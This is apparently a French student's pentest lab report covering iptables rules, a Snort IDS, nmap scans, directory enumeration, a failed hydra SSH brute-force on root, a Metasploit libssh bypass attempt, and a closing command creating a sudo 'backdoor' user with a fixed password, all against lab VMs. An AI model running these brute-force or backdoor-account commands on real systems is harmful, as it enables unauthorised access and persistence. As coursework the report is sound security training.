Mini Lab 4 : Sécurité des réseaux et tests d’intrusion

Partie 4A : Configuration d’un firewall basique

Pour vérifier règles en place :

```
┌──(lea㉿kali)-[~]
└─$ sudo iptables -L -v
[sudo] Mot de passe de lea :
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
```

```
┌──(lea㉿kali)-[~]
└─$ sudo iptables -L -v
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

┌──(lea㉿kali)-[~]
└─$ sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

┌──(lea㉿kali)-[~]
└─$ sudo iptables -A INPUT -i lo -j ACCEPT

┌──(lea㉿kali)-[~]
└─$ sudo iptables -A OUTPUT -o lo -j ACCEPT

┌──(lea㉿kali)-[~]
└─$ sudo iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT

┌──(lea㉿kali)-[~]
└─$ sudo iptables -A INPUT -p tcp --dport 3389 -j DROP

┌──(lea㉿kali)-[~]
└─$ sudo iptables-save > /etc/iptables/rules.v4
zsh: aucun fichier ou dossier de ce nom: /etc/iptables/rules.v4

┌──(lea㉿kali)-[~]
└─$ sudo iptables -L -v
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 ACCEPT     tcp  --  any    any     anywhere             anywhere             tcp dpt:ssh
    0     0 ACCEPT     all  --  lo     any     anywhere             anywhere
    0     0 ACCEPT     all  --  any    any     192.168.1.0/24       anywhere
    0     0 DROP       tcp  --  any    any     anywhere             anywhere             tcp dpt:ms-wbt-server

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 ACCEPT     all  --  any    lo      anywhere             anywhere
```

on voit bien toutes les nouvelles règles ajoutées après le setup, pour la vm attaquante.

Partie 4B : mise en place d'un IDS
setup des règles pour vm analyseur :

```
┌──(lea㉿kali)-[~]
└─$ sudo iptables -F
sudo iptables -P INPUT ACCEPT   # On laisse tout passer pour que Snort voie tout
sudo iptables -P OUTPUT ACCEPT
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A OUTPUT -o lo -j ACCEPT
```

setup des règles pour vm victime :

```
┌──(kali㉿kali)-[~]
└─$ sudo iptables -L -v
Chain INPUT (policy DROP 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 ACCEPT     tcp  --  any    any     anywhere             anywhere             tcp dpt:ssh
    0     0 ACCEPT     all  --  lo     any     anywhere             anywhere
    1    72 ACCEPT     all  --  any    any     192.168.1.0/24       anywhere

Chain FORWARD (policy DROP 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 ACCEPT     all  --  any    lo      anywhere             anywhere

Chain ufw-after-forward (0 references)
 pkts bytes target     prot opt in     out     source               destination
```

```
┌──(lea㉿kali)-[~]
└─$ sudo apt install snort
snort est déjà la version la plus récente (3.12.1.0-0kali1).
Le paquet suivant a été installé automatiquement et n'est plus nécessaire :
  libjs-underscore
Veuillez utiliser « sudo apt autoremove » pour le supprimer.

Sommaire :
  Mise à niveau de : 0. Installation de : 0Supprimé : 0. Non mis à jour : 2099
```

installation du snort sur l'analyseur

```
kali@kali: ~
Fichier  Actions  Éditer  Vue  Aide
  GNU nano 8.4                                   /etc/snort/snort.l

-- HOME_NET and EXTERNAL_NET must be set now
-- setup the network addresses you are protecting
HOME_NET = '192.168.1.0/24'

-- set up the external network addresses.
-- (leave as "any" in most situations)
EXTERNAL_NET = '!$HOME_NET'

include 'snort_defaults.lua'
```

configuration du fichier snort conf avec adresse réseau

```
┌──(kali㉿kali)-[~]
└─$ sudo snort -i eth0 -c /etc/snort/snort.lua

o")~   Snort++ 3.11.1.0

Loading /etc/snort/snort.lua:
Loading snort_defaults.lua:
Finished snort_defaults.lua:
        iec104
        mms
        modbus
        opcua
        s7commplus
        dce_smb
        dce_tcp
        dce_udp
        dce_http_proxy
```

lancement de snort

```
lea@kali: ~
Fichier  Actions  Éditer  Vue  Aide

Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds

┌──(lea㉿kali)-[~]
└─$ nmap -p 1-1000 192.168.1.137
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-26 22:47 CEST
Nmap scan report for kali-002.lan (192.168.1.137)
Host is up (0.0011s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:17:0D:F8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds

┌──(lea㉿kali)-[~]
└─$
```

```
kaali [En fonction] - Oracle VirtualBox
Fichier  Machine  Écran  Entrée  Périphériques  Aide
1  2  3  4   10.8.0.1   22:47
kali@kali: ~
Fichier  Actions  Éditer  Vue  Aide
2026-04-26T22:37:03.578788+02:00 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by kali(uid
=1000)
2026-04-26T22:39:01.158578+02:00 kali CRON[13595]: pam_unix(cron:session): session opened for user root(uid=0) by r
oot(uid=0)
2026-04-26T22:39:01.181366+02:00 kali CRON[13595]: pam_unix(cron:session): session closed for user root
2026-04-26T22:42:36.691412+02:00 kali sudo: pam_unix(sudo:session): session closed for user root
2026-04-26T22:43:51.915300+02:00 kali sudo:     kali : TTY=pts/0 ; PWD=/home/kali ; USER=root ; COMMAND=/usr/sbin/s
nort -i eth0 -c /etc/snort/snort.lua
2026-04-26T22:43:51.931321+02:00 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by kali(uid
=1000)
2026-04-26T22:45:01.384920+02:00 kali CRON[16790]: pam_unix(cron:session): session opened for user root(uid=0) by r
oot(uid=0)
2026-04-26T22:45:01.411342+02:00 kali CRON[16790]: pam_unix(cron:session): session closed for user root
2026-04-26T22:46:17.423729+02:00 kali sudo:     kali : TTY=pts/2 ; PWD=/home/kali ; USER=root ; COMMAND=/usr/bin/ta
il -f /var/log/auth.log
2026-04-26T22:46:17.436915+02:00 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by kali(uid
=1000)
```

vue du lancement de nmap sur machine attaquante (haut) et logs dans analyseur (vm du bas).

Partie 4C : scan de ports et services avec nmap

```
┌──(lea㉿kali)-[~]
└─$ nmap -sS 192.168.1.137
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-26 22:50 CEST
Nmap scan report for kali-002.lan (192.168.1.137)
Host is up (0.0012s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3128/tcp open  squid-http
MAC Address: 08:00:27:17:0D:F8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.19 seconds
```

scan de ports basique

```
┌──(lea㉿kali)-[~]
└─$ nmap -p 1-1000 192.168.1.137
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-26 22:51 CEST
Nmap scan report for kali-002.lan (192.168.1.137)
Host is up (0.0011s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:17:0D:F8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.12 seconds
```

scan de ports spécifiques, on voit les ports ssh et http ouverts qui peuvent être exploités

```
┌──(lea㉿kali)-[~]
└─$ nmap -sU 192.168.1.137
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-26 22:52 CEST
```

scan des ports UDP

```
┌──(lea㉿kali)-[~]
└─$ nmap -sV 192.168.1.137
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-26 22:54 CEST
Nmap scan report for kali-002.lan (192.168.1.137)
Host is up (0.0027s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 10.0p2 Debian 5 (protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.63 ((Debian))
3128/tcp open  http-proxy Squid http proxy 7.4
MAC Address: 08:00:27:17:0D:F8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.89 seconds
```

scan des services

```
┌──(lea㉿kali)-[~]
└─$ nmap -O 192.168.1.137
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-26 22:54 CEST
Nmap scan report for kali-002.lan (192.168.1.137)
Host is up (0.0031s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3128/tcp open  squid-http
MAC Address: 08:00:27:17:0D:F8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kerne
l:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.54 seconds
```

scan de l’OS

```
┌──(lea㉿kali)-[~]
└─$ nmap -sS -sV -O -p 1-65535 192.168.1.137
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-26 22:56 CEST
Nmap scan report for kali-002.lan (192.168.1.137)
Host is up (0.0020s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 10.0p2 Debian 5 (protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.63 ((Debian))
3128/tcp open  http-proxy Squid http proxy 7.4
MAC Address: 08:00:27:17:0D:F8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kerne
l:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.85 seconds
```

scan complet

On voit bien les ports ssh et http ouverts qui peuvent être exploités ainsi que le port 3128 pour un proxy squid, ainsi que plusieurs infos sur l'OS linux.

Partie 4D : mise en place d'une attaque simple


```
┌──(lea㉿kali)-[~]
└─$ nmap -sS -sV -O -p 1-65535 192.168.1.137
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-26 22:56 CEST
Nmap scan report for kali-002.lan (192.168.1.137)
Host is up (0.0020s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 10.0p2 Debian 5 (protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.63 ((Debian))
3128/tcp open  http-proxy Squid http proxy 7.4
MAC Address: 08:00:27:17:0D:F8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kerne
l:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.85 seconds
```


scan complet - phase de reconnaissance

on choisit d'attaquer le port 22 ssh avec hydra

```
┌──(lea㉿kali)-[~]
└─$ hydra -l root -P /usr/share/wordlists/rockyou.txt.gz  ssh://192.168.1.137
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizati
ons, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-26 23:02:56
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t
 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.1.137:22/
[ERROR] target ssh://192.168.1.137:22/ does not support password authentication (method reply 4).
```

essai avec hydra (non concluant meme avec activation du ssh sur victime)

lancement de l’attaque web port 80:

```
┌──(lea㉿kali)-[~]
└─$ dirb http://192.168.1.137/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sun Apr 26 23:28:39 2026
URL_BASE: http://192.168.1.137/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.137/ ----
+ http://192.168.1.137/index.html (CODE:200|SIZE:10703)
==> DIRECTORY: http://192.168.1.137/javascript/
+ http://192.168.1.137/server-status (CODE:403|SIZE:278)

---- Entering directory: http://192.168.1.137/javascript/ ----
==> DIRECTORY: http://192.168.1.137/javascript/jquery/

---- Entering directory: http://192.168.1.137/javascript/jquery/ ----
+ http://192.168.1.137/javascript/jquery/jquery (CODE:200|SIZE:289782)

-----------------
END_TIME: Sun Apr 26 23:29:37 2026
DOWNLOADED: 13836 - FOUND: 3
```

commande dirb :

`index.html (200)` → la page d'accueil est accessible, le serveur web tourne bien

`/javascript/` → répertoire accessible, peut contenir des fichiers intéressants

`/javascript/jquery/jquery (200)` → fichier jQuery exposé publiquement, permet de connaître la version et potentiellement trouver des vulnérabilités associées

`/server-status (403)` → la page existe mais l'accès est refusé (Apache mod_status activé mais restreint)

```
┌──(lea㉿kali)-[~]
└─$ gobuster dir -u http://192.168.1.137 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
═══════════════════════════════════════════════════════════════
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
═══════════════════════════════════════════════════════════════
[+] Url:                     http://192.168.1.137
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
═══════════════════════════════════════════════════════════════
Starting gobuster in directory enumeration mode
═══════════════════════════════════════════════════════════════
/javascript           (Status: 301) [Size: 319] [--> http://192.168.1.137/javascript/]
/server-status        (Status: 403) [Size: 278]
Progress: 220560 / 220561 (100.00%)
═══════════════════════════════════════════════════════════════
Finished
═══════════════════════════════════════════════════════════════
```

commande avec gobuster qui confirme les trouvailles de dirb :
`/javascript (301)` → redirection vers `/javascript/`, répertoire qui existe mais ne contient que jQuery, pas de fichiers sensibles
`/server-status (403)` → toujours refusé, cohérent avec dirb

Partie 4E : introduction au pentest
(scans de ports déjà effectués dans parties précédentes)

```
┌──(lea㉿kali)-[~]
└─$ nmap --script vuln 192.168.1.137
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-26 23:43 CEST
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for kali-002.lan (192.168.1.137)
Host is up (0.0012s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
3128/tcp open  squid-http
MAC Address: 08:00:27:17:0D:F8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 56.88 seconds
```

Analyse :

- `22/tcp` → SSH ouvert, vecteur d'attaque potentiel (brute force, CVE)
- `80/tcp` → HTTP ouvert, serveur web Apache (déjà analysé avec dirb/gobuster)

- `3128/tcp` → **Squid HTTP proxy** ouvert, c'est intéressant

```
┌──(lea㉿kali)-[~]
└─$ hydra -l root -P /usr/share/wordlists/rockyou.txt.gz  ssh://192.168.1.137
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizati
ons, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-26 23:47:08
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t
 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.1.137:22/
[ERROR] target ssh://192.168.1.137:22/ does not support password authentication (method reply 4).
```

hydra non efficace sur cette machine

```
Interact with a module by name or index. For example info 167, use 167 or use exploit/linux/http/php_imap_open_rce
After interacting with a module you can manually set a TARGET with set TARGET 'custom'

msf6 > use 159
[*] Using action Shell - view all 2 actions with the show actions command
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > show options

Module options (auxiliary/scanner/ssh/libssh_auth_bypass):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   CHECK_BANNER   true             no        Check banner for libssh
   CMD                             no        Command or alternative shell
   CreateSession  true             no        Create a new session for every successful login
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metas
                                             ploit/basics/using-metasploit.html
   RPORT          22               yes       The target port
   SPAWN_PTY      false            no        Spawn a PTY
   THREADS        1                yes       The number of concurrent threads (max one per host)


Auxiliary action:

   Name   Description
   ----   -----------
   Shell  Spawn a shell



View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > set rhosts 192.168.1.137
rhosts => 192.168.1.137
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 22
rport => 22
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > set username root
[!] Unknown datastore option: username.
username => root
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 192.168.1.137:22 - Attempting authentication bypass
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) >
```

lancement de l'attaque numéro 159 ssh avec metasploit

```
┌──(lea㉿kali)-[~]
└─$ sudo useradd -m -p $(openssl passwd -1 'Password123') testuser && sudo usermod -aG sudo testuser
```

création de backdoor

Merci pour cette introduction au pentest et tous ces labs très intéressants vraiment ! ^^